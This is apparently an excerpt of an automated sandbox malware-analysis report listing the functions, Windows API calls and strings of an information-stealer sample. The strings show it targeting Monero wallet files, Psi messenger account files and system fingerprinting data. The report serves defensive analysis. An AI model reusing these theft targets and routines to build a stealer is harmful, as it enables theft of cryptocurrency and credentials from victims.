\Monero\, xrefs: 004158EA, 00415935, 0041599D
.keys, xrefs: 004159B6, 004159E9

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyDeleteFirstNextQueryStringValue
String ID: %APPDATA%\$.address.txt$.keys$Software\$\Monero\$\autoscan\$strDataDir
API String ID: 2772453214-362373116
Opcode ID: 16568faf391a59140c197a04871ca19803f38377cf84135bb1feaade3a903878
Instruction ID: 4a2bc140344c74034c961c230d6d7cd75b0d6f61e5a75df0b3530fd0fd3fd8f7
Opcode Fuzzy Hash: 16568faf391a59140c197a04871ca19803f38377cf84135bb1feaade3a903878
Instruction Fuzzy Hash: A4120D34A001199BDB11EB55CC85BDDB779EF84308F5081FAE508B7292DB38AF858F99

Function 00414408 Relevance: 16.2, APIs: 4, Strings: 5, Instructions: 496fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?,0041A69E), ref: 004145C5

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Strings

LLA, xrefs: 00414C04
._., xrefs: 0041485D
0_@, xrefs: 00414BBB, 00414BD1
.LNK, xrefs: 00414788
CA, xrefs: 004144DA, 00414580, 00414A89, 00414BEC

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FreeString$FileFindFirst
String ID: .LNK$._.$0_@$LLA$CA
API String ID: 1653790112-882170572
Opcode ID: 8430bddf3a1df6261560ddb6dc0424d77e6c689ca10f39fdf3dcf66a768186a7
Instruction ID: 9c4ae2fa8e47753b2fad7318643bbdaa039e98a1c6b9804601cb0bccf78cece1
Opcode Fuzzy Hash: 8430bddf3a1df6261560ddb6dc0424d77e6c689ca10f39fdf3dcf66a768186a7
Instruction Fuzzy Hash: 6A224374A0011E9BCB10EF55C985ADEB7B9EF84308F1081B7E504B7296DB38AF858F59

Function 00416748 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 004167A8
GetRAM: , xrefs: 00416833
Video Info, xrefs: 00416856
CPU Count: , xrefs: 004167EF
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 0041678C
CPU Model: , xrefs: 0041677E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: bc92bcc3e197d973a3a694272e71556a0c5c4ca862a3d57ec3daae12d6facc84
Instruction ID: 0500c902736339f4efa0b07d3f9bc907855da1606bbc95f65d7857d0c3659172
Opcode Fuzzy Hash: bc92bcc3e197d973a3a694272e71556a0c5c4ca862a3d57ec3daae12d6facc84
Instruction Fuzzy Hash: 27410F70A1010DABDB01FFD1D882EDDBBB9EF48709F61403BF504B7296D639EA458A58

Function 004087DC Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6CE70000,00000000,00408961,?,0041B0FC,0000044D,?,00419DB6), ref: 00408827
FindFirstFileW.KERNEL32(00000000,?,6CE70000,00000000,00408961,?,0041B0FC,0000044D,?,00419DB6), ref: 00408856
DeleteFileW.KERNEL32(00000000,?,00408994,?,0041B0FC,0000044D,?,00419DB6), ref: 004088EB
FindNextFileW.KERNELBASE(00000000,?,?,0041B0FC,0000044D,?,00419DB6), ref: 004088F6
SetCurrentDirectoryW.KERNEL32(00000000,?,0041B0FC,0000044D,?,00419DB6), ref: 0040892D
RemoveDirectoryW.KERNEL32(00000000,?,0041B0FC,0000044D,?,00419DB6), ref: 00408941

Strings

%TEMP%\, xrefs: 00408910

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$DirectoryFind$CurrentDeleteFirstFreeLibraryNextRemove
String ID: %TEMP%\
API String ID: 24694787-2282305525
Opcode ID: bf673f0aa18eb5449fb802a6f650f5c3dc5f1121d0befde26993cc387fee6983
Instruction ID: 7ce94d71dddb1cf777d35a768eca412b7855db8bc738da5367f8e470d0430529
Opcode Fuzzy Hash: bf673f0aa18eb5449fb802a6f650f5c3dc5f1121d0befde26993cc387fee6983
Instruction Fuzzy Hash: 04410F706006199FC750EF69CC85A9AB7F9EF89305F4045BAE448F32A1DB38AE448F59

Function 0040B15C Relevance: 9.2, APIs: 6, Instructions: 198libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000,00000000,0040B3C3,?,00000000,0041B0FC,00000000,0000000B,00000000,00000000,?,0040B405,00000000,0040B40F), ref: 0040B1A9
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040B1AF
LoadLibraryA.KERNEL32(00000000,?,00000000,0041B0FC,00000000,0000000B,00000000,00000000,?,0040B405,00000000,0040B40F,?,00000000,0041B0FC,00000000), ref: 0040B204
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040B22A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040B248
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040B266

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 588210b06e7466f33f668d0a8c5683e72e1db78c57bf2da9f1a5b49b6d1e0292
Instruction ID: 364380f0d352aef1bf1129e1f4ec87a81fdd7fa01391a9152c5138518fa9ee90
Opcode Fuzzy Hash: 588210b06e7466f33f668d0a8c5683e72e1db78c57bf2da9f1a5b49b6d1e0292
Instruction Fuzzy Hash: 5761E375A002099BDB01EBE5C985E9EB7BDFF44304F50453AB900FB385DA78EE0587A8

Function 0040D0A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 176fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 0040D1C8

Part of subcall function 004076B0: GetFileAttributesW.KERNEL32(00000000,00000000,004076FC,?,0041C7BC,?,?,004083F8,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781), ref: 004076DE

Part of subcall function 00407168: GetFileAttributesW.KERNEL32(00000000,00000000,00000000,00407293,?,?), ref: 004071B4
Part of subcall function 00407168: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,?,?), ref: 004071CA
Part of subcall function 00407168: GetFileAttributesW.KERNEL32(00000000,00000000,?,?), ref: 004071DF
Part of subcall function 00407168: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,?,?), ref: 004071F5
Part of subcall function 00407168: ReadFile.KERNEL32(000000FF,004147A5,?,LLA,00000000,00000000,00407263,?,?,?), ref: 00407246
Part of subcall function 00407168: CloseHandle.KERNEL32(000000FF,0040726A), ref: 00407260

Strings

\*.*, xrefs: 0040D1AB
PsiPlus, xrefs: 0040D15F
Psi, xrefs: 0040D16F
\accounts.xml, xrefs: 0040D1F7, 0040D259

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$Attributes$Create$CloseFindFirstHandleRead
String ID: Psi$PsiPlus$\*.*$\accounts.xml
API String ID: 23041140-482826270
Opcode ID: 3c4efc3fac8a0243b94c88f16e1b7c5cbae3ecbea876001e5abfc6cf06faed9e
Instruction ID: 115fcd51e622de82cac4d0b8ead8c2dc7a32b2b6ab385f81ee772f80c7f6c347
Opcode Fuzzy Hash: 3c4efc3fac8a0243b94c88f16e1b7c5cbae3ecbea876001e5abfc6cf06faed9e
Instruction Fuzzy Hash: 91711D74A001199FDB10EB95CC85B9DB7B9EF45308F5081FAE808B7291DB38AF498F55

Function 00408D3C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 339fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0041A69E), ref: 00408DD0
GetFileAttributesW.KERNEL32(00000000,?,00409204,?,0041A69E,?,?,?,?,?,?,0041A69E), ref: 00408E32
FindNextFileW.KERNELBASE(?,?,?,?,?,?,?,?,0041A69E), ref: 004090F8

Strings

\*.*, xrefs: 00408DB0

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$Find$AttributesFirstNext
String ID: \*.*
API String ID: 2194085478-1173974218
Opcode ID: 7c2d9d634b4927bbe86dd2d784de5aeeaa99b4bb87293a077af95bce882314e1
Instruction ID: 0d373cd88fde81d46e67ec363a4cd78273a777710110dde0edb0dabeac45b8c6
Opcode Fuzzy Hash: 7c2d9d634b4927bbe86dd2d784de5aeeaa99b4bb87293a077af95bce882314e1
Instruction Fuzzy Hash: 4AD12970A00209AFDB10EF95D885ADEB7F9EF49304F1041BAE504F72A1DB39AE45CB59

Function 00408D44 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 337fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0041A69E), ref: 00408DD0
GetFileAttributesW.KERNEL32(00000000,?,00409204,?,0041A69E,?,?,?,?,?,?,0041A69E), ref: 00408E32
FindNextFileW.KERNELBASE(?,?,?,?,?,?,?,?,0041A69E), ref: 004090F8

Strings

\*.*, xrefs: 00408DB0

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$Find$AttributesFirstNext
String ID: \*.*
API String ID: 2194085478-1173974218
Opcode ID: 1b67583be09de6412031d5871d699c3e612fc2c0ab19a09dba079c97bcff8a3f
Instruction ID: bd495df848275e9c4f425f21efe3e4f71b0b4aa0b50b6ea973a153adf56fcae6
Opcode Fuzzy Hash: 1b67583be09de6412031d5871d699c3e612fc2c0ab19a09dba079c97bcff8a3f
Instruction Fuzzy Hash: 18D12970A00209AFDB10EF95C885ADEB7F9EF49304F1041BAE504F72A1DB39AE45CB59

Function 0040D06E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 0040D1C8

Strings

\*.*, xrefs: 0040D1AB
PsiPlus, xrefs: 0040D15F
Psi, xrefs: 0040D16F

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: Psi$PsiPlus$\*.*
API String ID: 1974802433-2194304473
Opcode ID: 703d8b5242a08a8db683f3bae43f8bcf3c26f45f187b9fc55ceefde9b9784aa7
Instruction ID: 8d20dbab4f76fd7704b8bbb6049f9e1dbc895236e47937b98e464379e76ce1b4
Opcode Fuzzy Hash: 703d8b5242a08a8db683f3bae43f8bcf3c26f45f187b9fc55ceefde9b9784aa7
Instruction Fuzzy Hash: CC5181709041499FDB11EBA5CC41B9DBBB9EF45308F5041FBE808F7292DB38AE4A8B55

Function 0040989F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

FindFirstFileW.KERNEL32(00000000,?,00000000,00409A7E,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E,?,00000000,00000000), ref: 0040993E

Part of subcall function 004076B0: GetFileAttributesW.KERNEL32(00000000,00000000,004076FC,?,0041C7BC,?,?,004083F8,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781), ref: 004076DE

FindNextFileW.KERNELBASE(00000000,?,?,00409AA0,?,00409AA0,0041A69E,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E), ref: 00409A3F
FindClose.KERNEL32(00000000,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E,?,00000000,00000000,?,0040D819,00000000,0040D863), ref: 00409A51

Part of subcall function 004095A4: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00409890,?,.tmp,?,?,?,00000000,00000000,00000000,?,?,00409A1F), ref: 00409676

Strings

\*.*, xrefs: 0040991E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$Find$String$AllocAttributesCloseCopyFirstFreeNext
String ID: \*.*
API String ID: 388414203-1173974218
Opcode ID: fc4845d8a7467cfe967d80715bfce9b06f4326a75cfd1ac3618ec102a77ddc32
Instruction ID: 4b84d3bad575dbbbbc4ce0dccbd8eec4ecec2959b06ba8f769e72cfc9add7c19
Opcode Fuzzy Hash: fc4845d8a7467cfe967d80715bfce9b06f4326a75cfd1ac3618ec102a77ddc32
Instruction Fuzzy Hash: F7411E70A04259AFCB10EF65CC85A8DBBB9FF49304F5041FAA508B3292D7795F458F54

Function 004098A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

FindFirstFileW.KERNEL32(00000000,?,00000000,00409A7E,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E,?,00000000,00000000), ref: 0040993E

Part of subcall function 004076B0: GetFileAttributesW.KERNEL32(00000000,00000000,004076FC,?,0041C7BC,?,?,004083F8,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781), ref: 004076DE

FindNextFileW.KERNELBASE(00000000,?,?,00409AA0,?,00409AA0,0041A69E,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E), ref: 00409A3F
FindClose.KERNEL32(00000000,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E,?,00000000,00000000,?,0040D819,00000000,0040D863), ref: 00409A51

Part of subcall function 004095A4: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00409890,?,.tmp,?,?,?,00000000,00000000,00000000,?,?,00409A1F), ref: 00409676

Strings

\*.*, xrefs: 0040991E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$Find$String$AllocAttributesCloseCopyFirstFreeNext
String ID: \*.*
API String ID: 388414203-1173974218
Opcode ID: e2196b03a9d087d50b6047ea20b559e90859e5d60900ea0ffc21caf91373946a
Instruction ID: 08d55710f553101df7130532bbf42046b2496fa9cfe4254e8507854638314a45
Opcode Fuzzy Hash: e2196b03a9d087d50b6047ea20b559e90859e5d60900ea0ffc21caf91373946a
Instruction Fuzzy Hash: 10410070A04219AFDB10EF65CC85A8EBBB9FF49304F5041FAA508B3292D7799F458F58

Function 00417098 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00417170,?,-00000001,0041B0FC,?,?,0041746F,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8), ref: 004170D6

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

UTC+, xrefs: 00417105

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FreeInformationStringTimeZone
String ID: UTC+
API String ID: 3683333525-3251258214
Opcode ID: 6be58dea3c23a17224194cf5b30d3e4445856ad682ea28c4caa18300847e192c
Instruction ID: 5a93f027c48b31af31c8153c62edde409b9a7000c026b3128d58eaab427eec80
Opcode Fuzzy Hash: 6be58dea3c23a17224194cf5b30d3e4445856ad682ea28c4caa18300847e192c
Instruction Fuzzy Hash: A1113D747047145FD755DB1ACC41B96B6FAEB8D300F1181BAB90CE3391DB389E448A59

Function 00416FB8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000059,?,00000100,?,-00000001,0041B0FC,?,?,00417429,Layouts: ,?,00417604,?,00000001,00417654), ref: 00417015

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: dcc4219dc7e13377bd319a26e064fbabf75e9c6a3bab1ee70f7a42fa93842446
Instruction ID: ed97a03f88aff6160dae607c36df162438e6b287a6cdd3858f72ec1f850147c0
Opcode Fuzzy Hash: dcc4219dc7e13377bd319a26e064fbabf75e9c6a3bab1ee70f7a42fa93842446
Instruction Fuzzy Hash: 1911B1315002189FDB11DB55CC41BDABBF9EB8D710F0040B6E908E7290E6349E80CFA4

Function 0040A4A4 Relevance: 1.5, APIs: 1, Instructions: 16comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0041B0DC,00000000,00000005,0040A4CC,00000000,?,00000000,0040A52D,0041A69E), ref: 0040A4BC

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 7b7d34e0f70cbabb5746a0b5785e83bae371d3c5d3f6c4cc1dc965a66d09d6f2
Instruction ID: ecfa08d63a5e99a02bf1f10941cb6c6ba3816feefb3116676bc77a3be9f2b9a2
Opcode Fuzzy Hash: 7b7d34e0f70cbabb5746a0b5785e83bae371d3c5d3f6c4cc1dc965a66d09d6f2
Instruction Fuzzy Hash: E5C002953917243AE551B2AA2CCAF5B418C4B88B59F214177B618F61D2A5E85C2001AE

Function 0040561C Relevance: 220.8, APIs: 63, Strings: 63, Instructions: 312
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00419155), ref: 0040562D
GetProcAddress.KERNEL32(00000000,ExpandEnvironmentStringsW), ref: 0040563C
GetProcAddress.KERNEL32(00000000,GetComputerNameW), ref: 0040564E
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatus), ref: 00405660
GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00405672
GetProcAddress.KERNEL32(00000000,GetFileSize), ref: 00405684
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00405696
GetProcAddress.KERNEL32(00000000,ReadFile), ref: 004056A8
GetProcAddress.KERNEL32(00000000,GetFileAttributesW), ref: 004056BA
GetProcAddress.KERNEL32(00000000,CreateMutexA), ref: 004056CC
GetProcAddress.KERNEL32(00000000,ReleaseMutex), ref: 004056DE
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 004056F0
GetProcAddress.KERNEL32(00000000,GetCurrentDirectoryW), ref: 00405702
GetProcAddress.KERNEL32(00000000,SetEnvironmentVariableW), ref: 00405714
GetProcAddress.KERNEL32(00000000,GetEnvironmentVariableW), ref: 00405726
GetProcAddress.KERNEL32(00000000,SetCurrentDirectoryW), ref: 00405738
GetProcAddress.KERNEL32(00000000,FindFirstFileW), ref: 0040574A
GetProcAddress.KERNEL32(00000000,FindNextFileW), ref: 0040575C
GetProcAddress.KERNEL32(00000000,LocalFree), ref: 0040576E
GetProcAddress.KERNEL32(00000000,GetTickCount), ref: 00405780
GetProcAddress.KERNEL32(00000000,CopyFileW), ref: 00405792
GetProcAddress.KERNEL32(00000000,FindClose), ref: 004057A4
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx), ref: 004057B6
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 004057C8
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 004057DA
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 004057EC
GetProcAddress.KERNEL32(00000000,GetModuleFileNameW), ref: 004057FE
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00405810
GetProcAddress.KERNEL32(00000000,GetLocaleInfoA), ref: 00405822
GetProcAddress.KERNEL32(00000000,GetLocalTime), ref: 00405834
GetProcAddress.KERNEL32(00000000,GetTimeZoneInformation), ref: 00405846
GetProcAddress.KERNEL32(00000000,RemoveDirectoryW), ref: 00405858
GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040586A
GetProcAddress.KERNEL32(00000000,GetLogicalDriveStringsA), ref: 0040587C
GetProcAddress.KERNEL32(00000000,GetDriveTypeA), ref: 0040588E
GetProcAddress.KERNEL32(00000000,CreateProcessW), ref: 004058A0
LoadLibraryA.KERNEL32(advapi32.dll,00000000,CreateProcessW,00000000,GetDriveTypeA,00000000,GetLogicalDriveStringsA,00000000,DeleteFileW,00000000,RemoveDirectoryW,00000000,GetTimeZoneInformation,00000000,GetLocalTime,00000000), ref: 004058AF
GetProcAddress.KERNEL32(00000000,GetUserNameW), ref: 004058BE
GetProcAddress.KERNEL32(00000000,RegCreateKeyExW), ref: 004058D0
GetProcAddress.KERNEL32(00000000,RegQueryValueExW), ref: 004058E2
GetProcAddress.KERNEL32(00000000,RegCloseKey), ref: 004058F4
GetProcAddress.KERNEL32(00000000,RegOpenKeyExW), ref: 00405906
GetProcAddress.KERNEL32(00000000,AllocateAndInitializeSid), ref: 00405918
GetProcAddress.KERNEL32(00000000,LookupAccountSidA), ref: 0040592A
GetProcAddress.KERNEL32(00000000,CreateProcessAsUserW), ref: 0040593C
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0040594E
GetProcAddress.KERNEL32(00000000,RegOpenKeyW), ref: 00405960
GetProcAddress.KERNEL32(00000000,RegEnumKeyW), ref: 00405972
GetProcAddress.KERNEL32(00000000,RegEnumValueW), ref: 00405984
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00405996
GetProcAddress.KERNEL32(00000000,CryptCreateHash), ref: 004059A8
GetProcAddress.KERNEL32(00000000,CryptHashData), ref: 004059BA
GetProcAddress.KERNEL32(00000000,CryptGetHashParam), ref: 004059CC
GetProcAddress.KERNEL32(00000000,CryptDestroyHash), ref: 004059DE
GetProcAddress.KERNEL32(00000000,CryptReleaseContext), ref: 004059F0
LoadLibraryA.KERNEL32(user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData,00000000,CryptCreateHash,00000000,CryptAcquireContextA,00000000,RegEnumValueW,00000000), ref: 004059FF
GetProcAddress.KERNEL32(75A50000,EnumDisplayDevicesW), ref: 00405A14
GetProcAddress.KERNEL32(75A50000,wvsprintfA), ref: 00405A29
GetProcAddress.KERNEL32(75A50000,GetKeyboardLayoutList), ref: 00405A3E
LoadLibraryA.KERNEL32(shell32.dll,75A50000,GetKeyboardLayoutList,75A50000,wvsprintfA,75A50000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData), ref: 00405A4D
GetProcAddress.KERNEL32(75320000,ShellExecuteExW), ref: 00405A62
LoadLibraryA.KERNEL32(ntdll.dll,75320000,ShellExecuteExW,shell32.dll,75A50000,GetKeyboardLayoutList,75A50000,wvsprintfA,75A50000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000), ref: 00405A71
GetProcAddress.KERNEL32(76E80000,RtlComputeCrc32), ref: 00405A86

Strings

GetLastError, xrefs: 004056E8
GetTimeZoneInformation, xrefs: 0040583E
Process32FirstW, xrefs: 004057D2
ShellExecuteExW, xrefs: 00405A57
shell32.dll, xrefs: 00405A48
GetUserNameW, xrefs: 004058B6
wvsprintfA, xrefs: 00405A1E
LookupAccountSidA, xrefs: 00405922
CreateFileW, xrefs: 0040566A
RegCreateKeyExW, xrefs: 004058C8
GetFileAttributesW, xrefs: 004056B2
RegOpenKeyW, xrefs: 00405958
RegCloseKey, xrefs: 004058EC
CryptGetHashParam, xrefs: 004059C4
SetCurrentDirectoryW, xrefs: 00405730
ReleaseMutex, xrefs: 004056D6
SetEnvironmentVariableW, xrefs: 0040570C
GlobalMemoryStatusEx, xrefs: 004057AE
CloseHandle, xrefs: 0040568E
CryptDestroyHash, xrefs: 004059D6
RegEnumValueW, xrefs: 0040597C
CryptReleaseContext, xrefs: 004059E8
GetLocaleInfoA, xrefs: 0040581A
FindClose, xrefs: 0040579C
GetCurrentDirectoryW, xrefs: 004056FA
ReadFile, xrefs: 004056A0
RegQueryValueExW, xrefs: 004058DA
EnumDisplayDevicesW, xrefs: 00405A09
GetComputerNameW, xrefs: 00405646
RtlComputeCrc32, xrefs: 00405A7B
FindFirstFileW, xrefs: 00405742
GetDriveTypeA, xrefs: 00405886
RegEnumKeyW, xrefs: 0040596A
CreateProcessW, xrefs: 00405898
SetDllDirectoryW, xrefs: 00405808
advapi32.dll, xrefs: 004058AA
user32.dll, xrefs: 004059FA
CryptAcquireContextA, xrefs: 0040598E
GetKeyboardLayoutList, xrefs: 00405A33
ExpandEnvironmentStringsW, xrefs: 00405634
CreateMutexA, xrefs: 004056C4
CreateProcessAsUserW, xrefs: 00405934
GetLocalTime, xrefs: 0040582C
Process32NextW, xrefs: 004057E4
FindNextFileW, xrefs: 00405754
GetLogicalDriveStringsA, xrefs: 00405874
CryptHashData, xrefs: 004059B2
CryptCreateHash, xrefs: 004059A0
kernel32.dll, xrefs: 00405628
GetModuleFileNameW, xrefs: 004057F6
GetEnvironmentVariableW, xrefs: 0040571E
RegOpenKeyExW, xrefs: 004058FE
GlobalMemoryStatus, xrefs: 00405658
GetFileSize, xrefs: 0040567C
GetTickCount, xrefs: 00405778
CopyFileW, xrefs: 0040578A
DeleteFileW, xrefs: 00405862
CheckTokenMembership, xrefs: 00405946
CreateToolhelp32Snapshot, xrefs: 004057C0
LocalFree, xrefs: 00405766
AllocateAndInitializeSid, xrefs: 00405910
ntdll.dll, xrefs: 00405A6C
RemoveDirectoryW, xrefs: 00405850

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
